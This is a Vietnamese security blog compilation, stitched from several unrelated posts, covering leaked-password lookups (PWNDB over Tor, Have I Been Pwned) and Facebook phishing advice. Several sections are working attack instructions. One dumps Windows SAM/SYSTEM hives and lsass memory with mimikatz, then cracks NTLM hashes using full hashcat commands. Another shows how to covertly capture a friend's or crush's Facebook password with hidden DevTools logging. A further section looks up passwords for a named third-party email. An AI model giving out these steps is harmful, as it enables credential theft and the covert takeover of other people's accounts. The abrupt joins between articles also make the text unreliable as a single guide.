Hiện nay có nhiều cách kiểm tra xem email, tài khoản của bạn có bị lộ mật khẩu không? Tuy nhiên dữ liệu hiện ra chỉ là 1,2 ký tự của mật khẩu, bạn không

Cách kiểm tra tất cả Password của bạn đã bị lộ bằng PWNDB

Kiểm tra bằng Terminal

Do PWNDB nằm trên DeepWeb, do đó bạn cần dùng Tor để truy cập. Trên ParrotOS/Kali Linux chúng ta thực hiện cài đặt và khởi động Tor bằng các lệnh như sau:

sudo apt-get install tor

Do mình dùng ParrotOS đã cài đặt sẵn Tor rồi, nên chỉ cần dùng lệnh bên dưới để khởi động Tor lên thôi.
/etc/init.d/tor start

Bây giờ chúng ta tiến hành cài đặt PWNDB, mở Terminal và gõ lệnh:

git clone https://github.com/anonyvietofficial/pwndb.git
cd pwndb
pip install virtualenv
virtualenv venv
source venv/bin/activate
pip install -r requirements.txt

OK, bây giờ đã xong phần cài đặt, tiếp đến chúng ta sẽ tìm Password bị lộ của Email hoặc tài khoản liên quan đến Email đó.

Bạn sử dụng lệnh:

python pwndb.py [-h] [--target TARGET] [--list LIST] [--output OUTPUT]

optional arguments:
-h, --help xem hướng dẫn
--target nhập email để tìm mật khẩu của email đó
--list nhập tên file chứa list email muốn tìm
--output xuất file ra json hoặc txt

Ví dụ: bạn muốn tìm mật khẩu của Email có tên là hoangtubongdem@yahoo.com, chúng ta sẽ thực hiện lệnh sau:

python pwndb.py --target hoangtubongdem@yahoo.com

Bạn có thể bỏ đuôi @yahoo.com chỉ để là python pwndb.py --target hoangtubongdem

thì sẽ ra kết quả nhiều hơn, nếu hoangtubongdem@gmail.com, @hotmail.com…. có trong dữ liệu của PWNDB.

Wao! Email này có nhiều mật khẩu vậy? Có nghĩa là chủ email hoangtubongdem@yahoo.com đã từng sử dụng email này để đăng ký username ở các diễn đàn, blog trước đây đã từng bị hack. Và mỗi tài khoản bạn ấy đặt mỗi Password khác nhau. Có thể 3 mật khẩu này không phải mật khẩu đăng nhập email, nhưng có thể là mật khẩu để đăng nhập với username ở các diễn đàn.

HIện nay mình không rõ PWNDB cập nhật Database Password bị rò rĩ đến năm bao nhiêu? Nhưng mà, Password của mình cũng nằm trong đây, khá buồn. Theo mình thì có thể DB này được cập nhật cách đây khoảng 3,4 năm gì đấy.

Kiểm tra mật khẩu bị rò rĩ bằng Tor

Nếu bạn dùng Windows, có thể tải trình duyệt Tor và cài đặt để có thể vào DeepWeb nhanh chóng. Giao diện trên trình duyệt dễ sử dụng hơn để tìm kiếm Password bị rò rĩ với PWNDB.

Sau khi cài đặt xong, bạn mở Tor lên, truy cập vào vào trang Web của PWNDB.

Vào thông tin vào ô Email để Password bị rò rĩ, hoặc nhập Password vào ô Password màu tím để xem những tài khoản/email nào đang sử dụng Password bạn đã nhập.

Làm sao để biết Password bạn bị lộ từ đâu?

Lần này chúng ta phải nhờ đến trang https://haveibeenpwned.com/

Đây là trang dữ liệu công khai để bạn check xem tài khoản của mình có bị rò rĩ không? và bị rò rĩ từ nguồn nào.

Chỉ nhập email vào ô tìm kiếm và nhấn nút pwned? Kết quả sẽ liệt kê ngay bên dưới. Chúng ta thử tiếp tục nhập lại email hoangtubongdem@yahoo.com.

Kéo xuống vùng màu đỏ sẽ liệt kê bạn danh sách những website đã khiến bị bạn lộ Password. Nào là: tailieu.vn, verfications.io, VNG (Vinagame)….

Nếu bạn kiểm tra Password của mình có trong danh sách thì nhanh chóng đổi Password Email và các tài khoản mạng xã hội, diễn đàn… nhanh đi nha. Bất cứ ai cũng có thể xem được Mật khẩu bị rò rĩ của bạn.

Câu hỏi thường gặp

PWNDB là gì và nó hoạt động như thế nào?

PWNDB là một kho lưu trữ các tài khoản đã bị rò rỉ mật khẩu, thu thập từ các vụ hack trên diễn đàn, blog và mạng xã hội. Nó cho phép bạn kiểm tra xem email hoặc tên người dùng của mình có nằm trong danh sách này không.

Tôi có thể sử dụng PWNDB để kiểm tra mật khẩu của người khác không?

Không. Việc sử dụng PWNDB để kiểm tra mật khẩu của người khác là vi phạm pháp luật và không được khuyến khích.

Nếu mật khẩu của tôi được tìm thấy trong PWNDB, tôi nên làm gì?

Hãy thay đổi ngay lập tức mật khẩu cho tất cả các tài khoản liên quan và tăng cường biện pháp bảo mật tài khoản của bạn.

Không phải ai cũng sử dụng mật khẩu trên Windows – đặc biệt hiếm khi người dùng đặt mật khẩu trên máy tính ở nhà. Nhưng trong công ty hoặc khi sử dụng Windows làm máy chủ, đặt mật khẩu là điều bắt buộc. Một thuộc tính thú vị khác của mật khẩu Windows là nếu người dùng có tài khoản Microsoft trực tuyến, chuỗi băm mật khẩu vẫn được lưu trữ trên máy tính cục bộ và mật khẩu được giải mã có thể được sử dụng để đăng nhập cho cả máy tính cục bộ và các dịch vụ trực tuyến của Microsoft.

Windows lưu trữ mật khẩu đăng nhập của người dùng ở đâu?

Mật khẩu người dùng Windows được lưu trữ trong Windows registry có tên là SYSTEM và SAM trong các tệp:

• C:/Windows/System32/config/SAM
• C:/Windows/System32/config/SYSTEM

Thay vì lưu trữ mật khẩu văn bản thuần túy, Windows lưu trữ mật khẩu theo mã băm. Những hàm băm này có thể bị brute-forced một cách dễ dàng. Nhưng ngay cả khi không bị bẻ khóa, hàm băm mật khẩu Windows vẫn có thể được sử dụng để thu thập dữ liệu và thực hiện các cuộc tấn công.

Cách lấy mã băm mật khẩu Windows

Dump mã băm mật khẩu trên máy tính đang chạy

Trên hệ thống đang chạy, bạn sẽ khá khó khăn trong việc truy cập các tệp C:/Windows/System32/config/SAM và C:/Windows/System32/config/SYSTEM, mặc dù điều này là có thể. Để lưu bản sao của những tệp này, bạn có thể sử dụng tiện ích reg:

Trong một số hướng dẫn, thay vì SYSTEM, SECURITY đã được lưu – đây là một sai lầm, bạn không thể khôi phục hàm băm với SECURITY  và SAM, chúng ta chỉ cần SYSTEM và SAM!

Mật khẩu băm cũng được chứa trong RAM, cụ thể là trong Local Security Authority Process (lsass.exe). Quá trình này luôn được khởi chạy trong Windows và bạn có thể kết xuất nó (một bản sao của quá trình trong RAM được lưu vào đĩa dưới dạng tệp). Bạn có thể sử dụng các tiện ích khác nhau để kết xuất, bao gồm hai tiện ích chính thức bên dưới:

• Procdump
• Task Manager

Để mở Task Manager, hãy nhấn Win + r và nhập taskmgr, sau đó nhấn ENTER. Hoặc, nhấp chuột phải vào taskbar và chọn “Task Manager”.

Trong Task Manager, trong phần “Windows Processes”, nhấp chuột phải vào “Local Security Authority Process“và chọn “Create Dump File”.

Tệp sẽ được lưu theo đường dẫn C:\Users\USERNAME\AppData\Local\Temp\lsass.DMP. Thay chỗ USERNAME bằng tên người dùng của bạn.

Dump mã băm mật khẩu trên máy tính đã tắt

Trên máy tính đã tắt, để lấy lại mật khẩu của người dùng sau này, bạn chỉ cần sao chép các tệp:

• C:/Windows/System32/config/SAM
• C:/Windows/System32/config/SYSTEM

Các tệp tương tự có thể được tìm thấy trong bản sao lưu Windows hoặc trong bản sao Shadow của đĩa hoặc bạn có thể sao chép nó bằng cách khởi động từ USB Live.

Sự khác biệt giữa hàm băm NTLM và NTLMv1/v2 và Net-NTLMv1/v2

Trên thực tế, NTLM và NTLMv1/v2 là những thứ khá khác nhau. Hàm băm NTLM được lưu trữ và sử dụng cục bộ và các hàm băm NTLMv1/NTLMv2 được sử dụng để xác thực mạng và được lấy từ hàm băm NTLM. Sử dụng bất kỳ hàm băm nào trên đây, bạn cũng có thể giải mã mật khẩu người dùng Windows, nhưng đây là các thuật toán mã hóa/bẻ khóa khác nhau.

Đối với Pass-the-hash, mình chỉ sử dụng hàm băm NTLM vì các hàm băm NTLMv1 / NTLMv2 không phù hợp.

Có một câu hỏi nữa là băm Net-NTLMv1 / v2 là gì. Hàm băm Net-NTLMv1/v2 là tên viết tắt của hàm băm NTLMv1/v2, tức là NTLMv1/v2 và Net-NTLMv1/v2 giống nhau. Còn NTLM thì khác.

Trong bài viết này, mình sẽ giải nén, bẻ khóa và khai thác mà không cần brute-force hàm băm NTLM.

Mimikatz là gì?

Mimikatz nổi tiếng với khả năng trích xuất mật khẩu ở dạng văn bản thuần túy (plain text), mã băm, mã PIN và kerberos từ RAM. Mimikatz cũng có thể thực hiện các cuộc tấn công pass-the-hash, pass-the-ticket hoặc xây dựng Golden tickets.

Đây là những cách triển khai mimikatz trong Meterpreter & Metasploit, phản chiếu DLL trong PowerShell. Mimikatz có thể chạy trong Wine trên Linux, nhưng các chức năng liên quan đến trích xuất dữ liệu trực tiếp từ Windows sẽ không hoạt động; các chức năng để giải nén hàm băm từ kết xuất hoặc giải mã từ tệp đăng ký (registry files) vẫn sẽ hoạt động trên Linux.

Cách cài đặt mimikatz trên Windows

Mimikatz là một tiện ích dòng lệnh di động. Tức là, bạn không cần cài đặt nó.

1. Truy cập trang chủ của mimikatz, tải xuống tệp mimikatz_trunk.7z hoặc mimikatz_trunk.zip. Và giải nén nó.

2. Mở PowerShell (Win + x → Windows PowerShell (administrator)) hoặc command line (Win + r → cmd).

3. Tại dấu nhắc lệnh, sử dụng lệnh cd để điều hướng đến thư mục có tệp mimikatz.exe. Ví dụ: tệp lưu trữ được giải nén vào thư mục C:\Users\MiAl\Downloads, vậy thì tệp chúng ta cần tìm sẽ nằm trong thư mục C:\Users\MiAl\Downloads\mimikatz_trunk\x64\:

cd C:\Users\MiAl\Downloads\mimikatz_trunk\x64\

4. Chạy mimikatz:

.\mimikatz.exe

Cách giải nén hàm băm mật khẩu người dùng NTLM từ các tệp registry

Các lệnh sau phải được thực hiện trong bảng điều khiển mimikatz.

Lệnh log cho phép ghi tất cả đầu ra vào một FILE:

log FILE

Ví dụ: để ghi tất cả đầu ra vào tệp hash.txt:

log hash.txt

Mình đã sao chép các tệp SYSTEM và SAM từ máy tính đã tắt, bây giờ để giải nén hàm băm, mình cần chạy một lệnh có dạng:

lsadump::sam /system:C:\...\...\SYSTEM /sam:C:\...\...\SAM

Một ví dụ về lệnh của mình:

lsadump::sam /system:C:\Share-Server\files\SYSTEM /sam:C:\Share-Server\files\SAM

Kết quả:

Kết quả rất nhiều dữ liệu. Nhưng thứ chúng ta cần quan tâm là các dòng tuần tự có dạng:

• User: USERNAME
• Hash NTLM: HASH

Trong ví dụ trên, thì các dòng này có kết quả là:

• User: ShareOverlord
• Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6
• User: Alexey
• Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Ngoài ra còn có các dòng chứa tên người dùng:

• User: MiAl
• User: Администратор

Nhưng sau không có chuỗi nào với hàm băm NTLM, bởi vì những người dùng này không có mật khẩu trong hệ thống.

Nếu bạn muốn trích xuất dữ liệu từ các tệp registry của hệ điều hành hiện tại, hãy thoát mimikatz, bằng cách nhấn Ctrl + C.

Bây giờ chúng ta sẽ kết xuất tổ hợp registry SYSTEM  và SAM của hệ thống hiện tại:

reg save HKLM\SYSTEM SystemBkup.hiv

reg save HKLM\SAM SamBkup.hiv

Chạy lại mimikatz:

.\mimikatz.exe

Chạy log:

log hash-local.txt

Và mình sẽ thực hiện lệnh chỉ ra các tệp mà các tổ hợp registry được lưu vào đó, đó là SystemBkup.hiv và SamBkup.hiv:

lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

Kết quả:

Chỉ một người dùng có hàm băm được tìm thấy ở đây:

User: Администратор

Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

Trên thực tế, để trích xuất các hàm băm NTLM từ hệ thống cục bộ, không cần thiết phải kết xuất tổ chức registry. Một tùy chọn khác là tăng các đặc quyền của chính chương trình mimikatz và trích xuất hàm băm trực tiếp từ hệ thống. Để thực hiện việc này, hãy chạy các lệnh:

privilege::debug
token::elevate
log hash-local2.txt
lsadump::sam

 

Cách giải nén hàm băm NTLM từ tệp lsass.DMP

Về mặt logic trong kết xuất của Local Security Authority Process chỉ nên là hàm băm của người dùng đã đăng nhập bằng mật khẩu.

Đầu tiên, chỉ định đường dẫn đến tệp kết xuất bằng lệnh:

sekurlsa::minidump C:\path\to\lsass.DMP

Ví dụ:

sekurlsa::minidump C:\Share-Server\files\lsass.DMP

Sau đó chạy lệnh:

sekurlsa::logonPasswords

Cách Hack Password Windows bằng brute-force NTLM

Để thực hiện, mình sẽ sử dụng hàm băm sau:

• User : Alexey
• Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Hãy xem phần trợ giúp của Hashcat để tìm ra số chế độ băm NTLM:

1000 | NTLM                                             | Operating Systems

Số băm NTLM là 1000 (chế độ băm).

Để khởi chạy một cuộc tấn công để bẻ khóa NTLM trong Hashcat, bạn cần chạy một lệnh có dạng:

hashcat -m 1000 -a 3 'HASH'MASK

Ví dụ:

hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1

Giải thích lệnh:

• hashcat là tên của tệp thực thi. Trên Windows, nó có thể hashcat64.exe.
• –force có nghĩa là bỏ qua các cảnh báo
• –hwmon-temp-abort=100 có nghĩa là thiết lập nhiệt độ tối đa, sau đó quá trình brute-force sẽ bị gián đoạn, khi nhiệt độ máy chạm mức 100 độ C
• -m 1000 nghĩa là kiểu băm NTLM
• -D 1,2 có nghĩa là sử dụng cả cpu và gpu cho brute-force
• -a 3 nghĩa là mask attack
• -i có nghĩa là tăng dần số lượng ký tự trong mật khẩu đã tạo
• –increment-min 1 có nghĩa là bắt đầu với chiều dài mask bằng một
• –increment-max 10 nghĩa là kết thúc tìm kiếm với độ dài mask là mười
• -1 ?l?d có nghĩa là bộ ký tự tùy chỉnh số 1, nó bao gồm các chữ cái Latinh nhỏ (?l) và số (?d)
• ca76a176340f0291e1cc8ea7277fc571 là mã băm để hack
• ?1?1?1?1?1?1?1?1?1 là một mask từ một bộ ký tự tùy chỉnh

Hãy giải mã thêm một hàm băm nữa:

User : Администратор

Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

Bạn cũng dùng lệnh dưới đây:

hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1

Vậy là xong rồi đó.

 

Câu hỏi thường gặp

Mimikatz là gì và nó hoạt động như thế nào?

Mimikatz là một công cụ mạnh mẽ có khả năng trích xuất mật khẩu, mã băm, và các thông tin xác thực khác từ bộ nhớ RAM của hệ thống Windows. Nó hoạt động bằng cách truy cập vào quá trình lsass.exe, nơi lưu trữ các thông tin nhạy cảm này.

Tôi có thể lấy mật khẩu Windows từ một máy tính đã tắt không?

Có, bạn có thể lấy được mã băm mật khẩu từ các tập tin SAM và SYSTEM trong thư mục C:\Windows\System32\config\. Tuy nhiên, bạn cần truy cập vật lý vào máy tính hoặc sử dụng một bản sao lưu hệ thống.

Sự khác biệt giữa các loại mã băm NTLM là gì?

NTLM, NTLMv1/v2 và Net-NTLMv1/v2 là các loại mã băm khác nhau được sử dụng trong Windows. NTLM được sử dụng cục bộ, trong khi NTLMv1/v2 và Net-NTLMv1/v2 được dùng cho xác thực mạng. Pass-the-hash thường sử dụng mã băm NTLM.

Hàng nghìn Password Facebook bị Hack như thế nào?

Các nhà nghiên cứu chỉ ra rằng Hacker đã sử dụng các trang web phishing để tấn công cho người dùng Facebook, chẳng hạn như: xem ai truy cập vào facebook bạn thường xuyên, hay đăng nhập facebook để xem phim “con heo”…

Nạn nhân sẽ đăng nhập bằng tên người dùng và mật khẩu và tưởng rằng mình đang đăng ký dịch vụ hay chơi một trò chơi mà không biết đằng sau đó đã tự đưa tài khoản cho Hacker.

Số lượng lớn người dùng trong cơ sở dữ liệu đủ gây sốc, nhưng những kẻ lừa đảo đã mắc một sai lầm nghiêm trọng trong quá trình đánh cắp dữ liệu của họ: Họ quên đặt Password vào kho tàng dữ liệu đã đánh cắp.

Bất kỳ ai có trình duyệt web đều có thể dễ dàng truy cập vào cơ sở dữ liệu chứa mật khẩu hàng triệu hồ sơ người dùng. Các nhà nghiên cứu của VPNMentor tin rằng các tài khoản này đã được sử dụng để lừa nhiều nạn nhân hơn nữa tham gia vào một vụ lừa đảo tiền điện tử.

Các nhà nghiên cứu bảo mật đã báo cáo cơ sở dữ liệu chứa Password Facebook bị Hack cho nhà cung cấp. Cơ sở dữ liệu của Hacker không còn truy cập được nửa và Facebook buộc phải đặt lại mật khẩu cho những người dùng bị ảnh hưởng. Nếu thời gian gần đây, bạn bị Facebook buộc phải đổi lại mật khẩu thì hãy tự tin rằng, trước đây tài khoản của bạn đã bị Hack.

Bạn cần làm gì để bảo vệ tài khoản Facebook của mình

Trên máy tính:

Truy cập nhanh trang bảo mật. Hoặc làm theo từng bước:

1. Nhấp vào mũi tên chỉ xuống ở trên cùng bên phải của trang chủ Facebook.
2. Nhấp vào Cài đặt & Quyền riêng tư, tiếp theo là Cài đặt .
3. Nhấp vào Bảo mật và Đăng nhập.
4. Nhấp vào Chỉnh sửa bên cạnh Thay đổi mật khẩu .
5. Nhập mật khẩu hiện tại của bạn và nhập mật khẩu mới. Sử dụng sự kết hợp phức tạp của các chữ cái, số và ký hiệu sẽ không dễ dàng đoán được.
6. Nhấp vào Lưu thay đổi.

Trên điện thoại:

1. Mở ứng dụng Facebook và nhấn vào biểu tượng ba gạch ngang. Trên iOS, biểu tượng sẽ ở dưới cùng bên phải. Trên Android, biểu tượng sẽ ở trên cùng bên phải .
2. Cuộn xuống và chạm vào Cài đặt & Quyền riêng tư, sau đó chạm vào Cài đặt .
3. Nhấn vào Bảo mật và Đăng nhập, sau đó nhấn Thay đổi mật khẩu .
4. Nhập mật khẩu hiện tại của bạn và nhập mật khẩu mới. Sử dụng sự kết hợp phức tạp của các chữ cái, số và ký hiệu sẽ không dễ dàng đoán được.
5. Nhấn vào Lưu thay đổi.

Để tăng cường bảo mật, AnonyViet cũng khuyên bạn nên kích hoạt xác thực hai yếu tố (2FA) cho tài khoản Facebook của mình. Sau khi 2FA được thiết lập, bạn sẽ tự động biết khi ai đó cố gắng đăng nhập mà không có sự cho phép của bạn.

Để giữ an toàn trong tương lai

• Không bao giờ đăng nhập vào tài khoản Facebook của bạn ngoài trang facebook.com.
• Bất cứ khi nào bạn được yêu cầu đăng nhập vào tài khoản của mình, hãy nhìn vào thanh địa chỉ của trình duyệt. Nếu URL không bao gồm “Facebook.com” , nó có thể là một trang web lừa đảo và Password Facebook bị Hack sẽ rơi vào tay Hacker.
• Tránh nhấp vào bất kỳ liên kết nào được gửi cho bạn qua email. Nếu bạn nhấp vào liên kết từ email đưa bạn đến trang đăng nhập Facebook, hãy đóng cửa sổ của bạn. Đây là một lá cờ đỏ cho các trang web lừa đảo.

Ngoài ra nên trang bị những kiến thức về an toàn thông tin, bảo mật để tránh những trường hợp bị Hack tài khoản khác ngoài Facebook.

Câu hỏi thường gặp

Mật khẩu Facebook của tôi có thể bị đánh cắp như thế nào?

Tin tặc thường sử dụng các trang web lừa đảo (phishing) giả mạo trang đăng nhập Facebook để đánh cắp thông tin đăng nhập của người dùng. Những trang web này thường dụ dỗ người dùng bằng các lời mời hấp dẫn, khiến họ vô tình cung cấp tên đăng nhập và mật khẩu của mình.

Tôi nên làm gì nếu nghi ngờ mật khẩu Facebook của mình bị đánh cắp?

Hãy thay đổi mật khẩu Facebook của bạn ngay lập tức, sử dụng một mật khẩu mạnh và phức tạp. Kích hoạt xác thực hai yếu tố (2FA) để tăng cường bảo mật cho tài khoản.

Làm thế nào để tôi bảo vệ tài khoản Facebook của mình khỏi bị đánh cắp mật khẩu trong tương lai?

Chỉ đăng nhập vào Facebook thông qua trang web chính thức facebook.com. Luôn cẩn thận với các liên kết và email đáng ngờ, tránh nhấp vào các liên kết không rõ nguồn gốc. Hãy nâng cao kiến thức về an ninh mạng để nhận biết và tránh các cuộc tấn công lừa đảo.

Xem Password Facebook đang đăng nhập dạng PlainText

PlainText là dạng hiển thị mật khẩu tường minh. Tức là mật khẩu như thế nào thì sẽ hiện ra như vậy, không bị mã hóa, không bị dấu ***. Để thực hiện xem Password Facebook dạng PlainText bạn cần nhờ đến công cụ dành cho nhà phát triển (F12). Cách thực hiện như sau:

Tóm tắt quá trình thực hiện:

• Bật chức năng ghi log trên trình duyệt
• Dụ nạn nhân đăng nhập vào Facebook
• Khi nạn nhân đăng xuất khỏi Facebook và trả máy tính cho bạn, bạn vẫn xem được Password Facebook đó.

Chuẩn bị

Bước 1: Chuẩn bị trình duyệt.

Trước khi cho bạn bè, Crush mượn máy tính để đăng nhập vào Facebook, bạn hãy bật chức năng ghi Log của trình duyệt. Chỉ cần nhấn phím F12 trên bàn phím. Thao tác này sẽ mở cửa sổ “Developer Tools” như hình bên dưới.

Bước 2:

Bây giờ bạn click vào Tab Network. Ở dưới sẽ xuất hiện thêm 1 thanh Menu con, hãy check vào chế độ Preserve log.

Để xuất của sổ DevTools ra thành cửa sổ riêng biệt cho dễ quản lý, bạn làm như sau:

Click vào dấu 3 chấm dọc trên DevTools -> Chỗ Dock Size click vào 2 hình chữ nhật chồng lên nhau.

Bây giờ bạn hãy giấu cửa sổ DevTools đi, thu nhỏ cửa sổ xuống hoặc dùng Tool ẩn chương trình. Làm sao để người mượn máy tính của bạn không tắt cửa sổ DevTools đi là được.

Đưa máy tính cho người khác mượn

Bước 3: Mọi thứ đã chuẩn bị sẵn sàng. Bây giờ bạn có thể mời bạn bè của mình sử dụng máy tính của bạn để đăng nhập vào tài khoản facebook. Chỉ cần cho bạn bè đăng nhập, bạn không cần phải ráng nhìn lén mật khẩu. Hãy để bạn bè sử dụng một cách tự nhiên máy tính của bạn.

Bước 5: OK, vây xong rồi, cứ để bạn bè hoặc crush sử dụng máy tính của bạn thoải mái. Cho đến khi họ không dùng nửa và đăng xuất (Logout) khỏi Facebook cũng không sao. Với hướng dẫn này bạn vẫn xem được Password Facebook mặc dù đã Logout tài khoản.

Xem Password Facebook khi người khác đăng nhập bằng máy tính của bạn

Bây giờ hãy đảm bảo cửa ghi log DevTools của bạn vẫn còn hoạt động chưa bị tắt nhé. Sau khi bạn bè trả lại máy tính cho bạn, hãy mở cửa sổ DevTools khi nảy lên. Bạn sẽ thấy có khá nhiều dòng dữ liệu được ghi lại.

Bước 6: Tiếp theo, nhấp vào các tổ hợp phím CTRL + F. Hộp thoại tìm kiếm sẽ giúp bạn tìm kiếm một phần tử trên một trang nhanh hơn. Khi thanh tìm kiếm bật lên, hãy đăng nhập login vào đó. Kết quả sẽ lọc ra cho bạn những trường dữ liệu có chữ login, bạn chỉ cần quan tâm đến dòng nào có chữ login.php thôi.

Bước 7: Khi bạn click vào nó, trong khung cửa sổ bên phải, bạn sẽ thấy bốn tab là Headers, Preview, Response, Cookies và Timing. Click chuột vào tab Headers. Cuộn tất cả xuống, cho đến khi bạn tìm thấy phần có tên là Form Data. Cuộn xuống một lần nữa để tìm hai mục có tên email và pass. Vâng, đó là nó. Bạn có thể thấy tài khoản email và mật khẩu được ghi lại gần đây, bằng PlainText, mật khẩu facebook không bị mã hóa.

Câu hỏi thường gặp

Tôi có thể xem mật khẩu Facebook của người khác mà không cần phần mềm nào không?

Có thể xem mật khẩu Facebook dạng PlainText bằng cách sử dụng công cụ dành cho nhà phát triển (F12) của trình duyệt, nhưng điều này yêu cầu người dùng khác đăng nhập vào tài khoản Facebook trên máy tính của bạn và bạn đã bật chế độ ghi log trước đó.

Phương pháp này có an toàn không?

Phương pháp này không an toàn và mang tính xâm phạm quyền riêng tư. Việc sử dụng thông tin mật khẩu của người khác mà không được sự cho phép là bất hợp pháp. Ngoài ra, phương pháp này phụ thuộc vào việc người dùng khác sử dụng máy tính của bạn để đăng nhập Facebook.

Nếu người dùng đăng xuất Facebook, tôi vẫn có thể xem mật khẩu không?

Nếu bạn đã bật chế độ “Preserve log” trong công cụ Developer Tools (F12) trước khi người dùng đăng nhập, thì có thể bạn vẫn xem được mật khẩu trong log của trình duyệt, ngay cả sau khi họ đã đăng xuất.

Rất may, nhà nghiên cứu bảo mật Troy Hunt, chủ sở hữu của Website kiểm tra an toàn mật khẩu Email Have I Been Pwned vừa phát hiện ra 12.000 dữ liệu riêng biệt và 87Gb dữ liệu đã Up lên dịch vụ MegaUpload. Sau đó dữ liệu này đã được một diễn đàn hacker nổi tiếng ghép thêm hơn 2000 cơ sở dữ liệu đã rò rĩ trước đó để tạo thành một khối lượng dữ liệu Email và Password khổng lồ. Nguy hiểm hơn, là Password đã được dịch ngược lại thành plaintext (không bị mã hóa), và ai cũng có thể xem được.

Cách kiểm tra Email có bị hack Password không?

Kiểm tra Email có trong danh sách bị Hack không

Trước đây, AnonyViet có hướng dẫn bạn cách kiểm tra tài khoản bị hack không? Đây là Website của Việt Nam. Nếu bạn tò mò muốn biết email của bạn có nằm trong số tài khoản bị Hack mới nhất không, thì có thể dùng công cụ chính hãng của Have I Been Pwned.

Nhập Email vào vào ô tìm kiếm.

Nếu xuất hiện thông báo:

Oh no — pwned!
Pwned on xx breached sites and found no pastes (subscribe to search sensitive breaches)

Thì xx là số lượng Website có chứa thông tin Email của bạn. Bạn cần thay đổi Password Email ngay lập tức để tránh mất tài khoản.

Nếu xuất hiện thông báo:

Good news — no pwnage found!
No breached accounts and no pastes (subscribe to search sensitive breaches)

Thì chúc mừng bạn, email hoặc tài khoản của bạn vẫn an toàn!

Kiểm tra Password của bạn có trong danh sách bị lộ không

Hiện nay Have I Been Pwned đã có trong tay danh sách của những tài khoản bị lộ Password. Bạn có thể kiểm tra Password mình hay sử dụng đã bị hack chưa,  bằng cách so sánh với dữ liệu có sẵn của Have I Been Pwned. Bạn cần truy cập vào đường link kiểm tra Password.

Nếu xuất hiện thông báo:

Oh no — pwned!
This password has been seen xxx times before
This password has previously appeared in a data breach and should never be used. If you’ve ever used it anywhere before, change it!

Trong đó xxx là số lần Password của bạn xuất hiện trong database bị hack. Nếu đang sử dụng Password này, bạn cần thay đổi cho tất cả tài khoản đang sử dụng.

Nếu xuất hiện thông báo:

Good news — no pwnage found!
This password wasn’t found in any of the Pwned Passwords loaded into Have I Been Pwned. That doesn’t necessarily mean it’s a good password, merely that it’s not indexed on this site. If you’re not already using a password manager, go and download 1Password and change all your passwords to be strong and unique.

Xin chúc mừng, Password của bạn chưa từng xuất hiện trong dữ liệu bị Hack. Bạn không cần phải lo lắng về tài khoản.

Cách đặt Password mạnh để không bị Hack

Nếu bạn lo lắng Website này lưu trữ Email hay Password của bạn, thì bạn nên tiến hành đổi Password cho tất cả tài khoản đang có. Chuẩn Password mạnh sẽ gồm: ký tự in hoa, in thường, ký tự đặc biệt, và số… nên có từ 8 ký tự trở lên.

Và tránh đặt Password dễ đoán để tránh bạn bè hoặc người thân dò được.

Trước hết, chúng ta hãy tìm hiểu tại sao tài khoản của bạn lại có thể bị hack. Sau đó mình sẽ chỉ cho bạn cách kiểm tra chi tiết bằng công cụ. Công cụ sẽ cho biết những mật khẩu sẽ bị hacker nhìn thấy và đánh cắp.

Hacker làm cách nào để đánh cắp tài khoản ?

Mục tiêu đầu tiên của Hacker luôn luôn là Email của nạn nhân. Bởi vì, bất cứ tài khoản nào khi được đăng ký đều phải điền Email vào. Theo thói quen, chúng ta thường sử dụng một hoặc hai Email cho tất cả tài khoản.

Tại sao Email lại quan trọng ?

Chỉ cần biết được Email mà bạn thường dùng để đăng ký tài khoản. Hacker sẽ dò được số lượng tài khoản mà bạn đăng ký bằng Email đó. Tiếp theo, họ sẽ lần lượt hack vào từng tài khoản Facebook, Zalo, Ngân hàng, Icloud ….

Thậm chí, họ có thể can thiệp trực tiếp vào các giao dịch online và thẻ tín dụng của bạn. Cũng có thể dò Email của bạn bè trên mạng xã hội của bạn rồi tấn công luôn cả những người đó. Cho nên mình mới viết bài này, để hướng dẫn bạn dò ra mật khẩu đã bị lộ và khắc phục sớm nhất có thể.

Hướng dẫn kiểm tra các tài khoản đã bị lộ thông tin cho hacker

Bạn không cần phải biết nhiều kiến thức trong lĩnh vực công nghệ. Bởi vì, mình sẽ chỉ cho bạn một công cụ sử dụng trực tiếp trên trình duyệt mà không cần cài đặt. Công cụ này được chính bộ phận chống tội phạm mạng cấp cao phát triển. Tin vui, là bạn được sử dụng công cụ này hoàn toàn miễn phí.

Công cụ áp dụng công nghệ tiên tiến nhất và thường xuyên cập nhật để đạt hiểu quả cao nhất. Bạn chỉ mất chưa đầy 1 phút đã có thể kiểm tra toàn bộ tài khoản. Hãy truy cập vào bộ công cụ này để trải nghiệm nhé.

Công cụ

Chịu khó bỏ qua link quảng cáo 123link để ủng hộ mình nha.

Cách dùng công cụ để kiểm tra mật khẩu bị lộ

Công cụ được xây dựng trên nền tảng là một website. Trên đó, có một ô trống để bạn có thể điền Mail mà bạn muốn kiểm tra. Bạn thường sử dụng Mail nào để đăng ký tài khoản thì hãy điền vào Mail đó để kiểm tra.

Điền Mail cần kiểm tra rồi sau đó ấn nút Kiểm Tra màu đỏ nằm ngay bên cạnh. Chờ khoảng một phút rồi bạn vào hòm thư của Email đó để xem kết quả.

Truy cập vào Mail mà bạn đã điền ở trên rồi kiểm tra hòm thư đến. Nếu không thấy thì hãy tìm trong hộp thư Spam bạn nha. Tất cả kết quả sẽ được gởi về Mail của bạn.

Mình đã kiểm tra và nhận ra đã bị lộ thông tin tài khoản ngân hàng và tài khoản Icloud. Nhưng may mắn là chưa có tổn thất nào xảy ra và mình đã đổi một mật khẩu an toàn hơn. Kèm theo đó, mình đã bật chức năng bảo mật hai lớp của Gmail.

Nếu công cụ này có thể tìm thấy được mật khẩu của bạn, thì đồng nghĩa hacker cũng có thể tìm thấy. Vậy, làm cách nào để bảo mật tốt hơn ? Mình có một số ý kiến dưới đây có thể giúp bạn tránh bị hacker dòm ngó.

